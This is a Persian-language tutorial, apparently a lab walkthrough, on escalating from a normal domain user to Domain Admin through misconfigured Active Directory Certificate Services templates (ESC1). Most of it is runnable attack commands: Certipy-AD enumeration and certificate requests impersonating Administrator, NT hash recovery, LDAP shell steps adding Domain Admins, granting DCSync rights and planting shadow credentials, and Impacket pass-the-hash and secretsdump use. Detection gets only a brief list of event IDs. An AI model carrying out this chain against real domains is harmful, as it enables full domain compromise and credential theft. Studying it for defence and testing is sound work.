مقدمه

Active Directory Certificate Services (ADCS) یکی از نقش‌های (Role) سرور ویندوز است که به عنوان زیرساخت کلید عمومی (Public Key Infrastructure - PKI) در محیط‌های سازمانی عمل می‌کند. ADCS مسئول صدور، مدیریت، تمدید و ابطال گواهی‌های دیجیتال (Digital Certificates) است که برای احراز هویت کاربران، رمزنگاری ارتباطات، امضای دیجیتال و سایر عملیات امنیتی استفاده می‌شوند.

نقش ADCS در محیط Active Directory:

• احراز هویت کاربران و دستگاه‌ها از طریق گواهی‌های دیجیتال
• فعال‌سازی Smart Card Logon برای کاربران
• رمزنگاری فایل‌ها با استفاده از EFS (Encrypting File System)
• امضای دیجیتال اسناد و کدها
• احراز هویت سرویس‌های وب (HTTPS/SSL/TLS)
• احراز هویت VPN و شبکه‌های بی‌سیم (802.1X)

با این حال، در صورت پیکربندی نادرست Certificate Template‌ها، ADCS می‌تواند به یک بردار حمله قدرتمند تبدیل شود. این حمله از آسیب‌پذیری‌های موجود در Template‌ها برای ارتقای سطح دسترسی از یک کاربر عادی دامنه به Domain Administrator بهره‌برداری می‌کند.

مفاهیم کلیدی

Certificate Authority (CA)

سرور مرکزی که مسئول صدور و مدیریت گواهی‌های دیجیتال است و شامل چندین Certificate Template می‌باشد.

Certificate Templates

هر Template دارای مجوزهای خاصی است که شامل Enroll، Write و AutoEnroll می‌شود. این قالب‌ها مشخص می‌کنند که چه کسانی می‌توانند درخواست گواهی دهند و گواهی صادر شده چه ویژگی‌هایی خواهد داشت.

آسیب‌پذیری

زمانی که Template‌ها به درستی پیکربندی نشده باشند، کاربران بدون امتیاز می‌توانند گواهی‌هایی را برای حساب‌های دارای امتیاز بالا درخواست کنند.

پیش‌نیاز حمله

داشتن اعتبارنامه (Credentials) یک حساب کاربری معتبر در دامنه.

مراحل اجرای حمله

مرحله ۱: نصب ابزار Certipy-AD

pip3 install certipy-ad

Certipy-AD یک ابزار Python است که برای شناسایی و سوءاستفاده از پیکربندی‌های نادرست ADCS طراحی شده است.

مرحله ۲: شناسایی Certificate Services و یافتن Template‌های آسیب‌پذیر

certipy-ad find -u s.jackson@certipied.local -p 'Aa123456' -dc-ip 192.168.1.176 -text

پارامترها:

• -u: نام کاربری به همراه دامنه
• -p: رمز عبور
• -dc-ip: آدرس IP کنترلر دامنه (Domain Controller)
• -text: خروجی به صورت متنی (همچنین از فرمت JSON پشتیبانی می‌کند)

موارد قابل بررسی:

• Template‌هایی که دارای آسیب‌پذیری‌های ESC1 تا ESC8 هستند
• Template‌هایی که کاربران با امتیاز پایین دارای حق Enroll هستند
• Template‌هایی که امکان تعیین Subject Alternative Name (SAN) را فراهم می‌کنند
• Template‌هایی که دارای EKU‌های Client Authentication یا Smart Card Logon هستند

پیکربندی‌های آسیب‌پذیر رایج:

• فعال بودن پرچم ENROLLEE_SUPPLIES_SUBJECT
• وجود CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT در فیلد msPKI-Certificate-Name-Flag
• مجوزهای Enrollment بیش از حد آزاد (مانند Domain Users یا Authenticated Users)

مرحله ۳: درخواست گواهی برای حساب Administrator

certipy-ad req -u s.jackson@certipied.local -p 'Aa123456' \
  -ca Certipied-CA \
  -template Vuln-ESC1 \
  -upn administrator@certipied.local \
  -dc-ip 192.168.1.176

پارامترها:

• -ca: نام Certificate Authority
• -template: نام Template آسیب‌پذیر (مثلاً Vuln-ESC1)
• -upn: User Principal Name برای جعل هویت (administrator@certipied.local)

خروجی: فایل administrator.pfx که شامل گواهی و کلید خصوصی است.

نحوه عملکرد:

• از آسیب‌پذیری ESC1 استفاده می‌کند که در آن Template به درخواست‌کنندگان اجازه می‌دهد Subject Alternative Name (SAN) دلخواه را مشخص کنند
• گواهی‌ای با UPN حساب Administrator در فیلد SAN درخواست می‌شود
• CA گواهی را صادر می‌کند زیرا Template این امکان را فراهم کرده است

مرحله ۴: احراز هویت با استفاده از گواهی (روش اول - PKINIT)

certipy-ad auth -pfx administrator.pfx -dc-ip 192.168.1.176

هدف: تلاش برای بازیابی NTLM Hash حساب Administrator با استفاده از PKINIT (احراز هویت Kerberos با گواهی)

نتایج احتمالی:

• موفقیت: بازیابی NT Hash که می‌تواند برای حملات Pass-the-Hash استفاده شود
• شکست: ممکن است به دلایل زیر با شکست مواجه شود:
  • فعال بودن Strong Certificate Mapping (Windows Server 2022 به بعد)
  • پیکربندی نادرست PKINIT
  • مشکلات اعتبارسنجی گواهی

در صورت موفقیت، خروجی به شکل زیر خواهد بود:

[*] Got hash for 'administrator@certipied.local': aad3b435b51404eeaad3b435b51404ee:a87f3a337d73085c45f9416be5787d86

مرحله ۵: دسترسی به LDAP Shell (روش دوم - رویکرد جایگزین)

certipy-ad auth -ldap-shell \
  -pfx administrator.pfx \
  -username 'administrator' \
  -domain certipied.local \
  -dc-ip 192.168.1.176

زمان استفاده:

• زمانی که احراز هویت PKINIT با شکست مواجه شود
• نیاز به قابلیت‌های دستکاری مستقیم LDAP
• قصد انجام تغییرات خاص در Active Directory

قابلیت‌های LDAP Shell:

# اضافه کردن کاربر به گروه Domain Admins
add_user_to_group <username> "Domain Admins"

# ایجاد Shadow Credentials (برای احراز هویت PKINIT)
set_shadowcred <target_user>

# تغییر ویژگی‌های کاربر
set_dontreqpreauth <username>

# اعطای مجوزهای DCSync
add_dcsync_rights <username>

# تغییر رمز عبور کاربر
change_password <username> <new_password>

مثال از یک نشست LDAP Shell:

# اضافه کردن کاربر جاری به Domain Admins
add_user_to_group s.jackson "Domain Admins"

# اعطای امتیازات DCSync
add_dcsync_rights s.jackson

# ایجاد Shadow Credentials برای پایداری
set_shadowcred administrator

بهره‌برداری پس از دستیابی به Credentials

استفاده از NTLM Hash (در صورت موفقیت مرحله ۴)

# Pass-the-Hash با Impacket
psexec.py -hashes :a87f3a337d73085c45f9416be5787d86 administrator@192.168.1.176

# حمله DCSync برای استخراج تمام Hash‌های دامنه
secretsdump.py -hashes :a87f3a337d73085c45f9416be5787d86 administrator@192.168.1.176

# اجرای دستورات از طریق WMI
wmiexec.py -hashes :a87f3a337d73085c45f9416be5787d86 administrator@192.168.1.176

استفاده از گواهی برای احراز هویت Kerberos

# درخواست TGT با استفاده از گواهی
certipy-ad auth -pfx administrator.pfx -dc-ip 192.168.1.176

# Export کردن TGT
export KRB5CCNAME=administrator.ccache

# استفاده از احراز هویت Kerberos با Impacket
psexec.py -k -no-pass certipied.local/administrator@DC01.certipied.local

smbclient.py -k -no-pass certipied.local/administrator@DC01.certipied.local

رویدادهای قابل رصد (Event IDs)

برای شناسایی این نوع حملات، باید رویدادهای زیر را در لاگ‌های سیستم رصد کرد:

• 4886: Certificate Services یک درخواست گواهی دریافت کرد
• 4887: Certificate Services یک درخواست گواهی را تأیید کرد
• 4888: Certificate Services یک درخواست گواهی را رد کرد

نتیجه‌گیری

حملات مبتنی بر ADCS یکی از تکنیک‌های پیشرفته Privilege Escalation در محیط‌های Active Directory است که می‌تواند به دلیل پیکربندی‌های نادرست Certificate Template‌ها رخ دهد. شناسایی و رفع این آسیب‌پذیری‌ها نیازمند بررسی دقیق مجوزهای Template‌ها، محدودسازی دسترسی‌ها و رصد مستمر رویدادهای مرتبط با صدور گواهی است.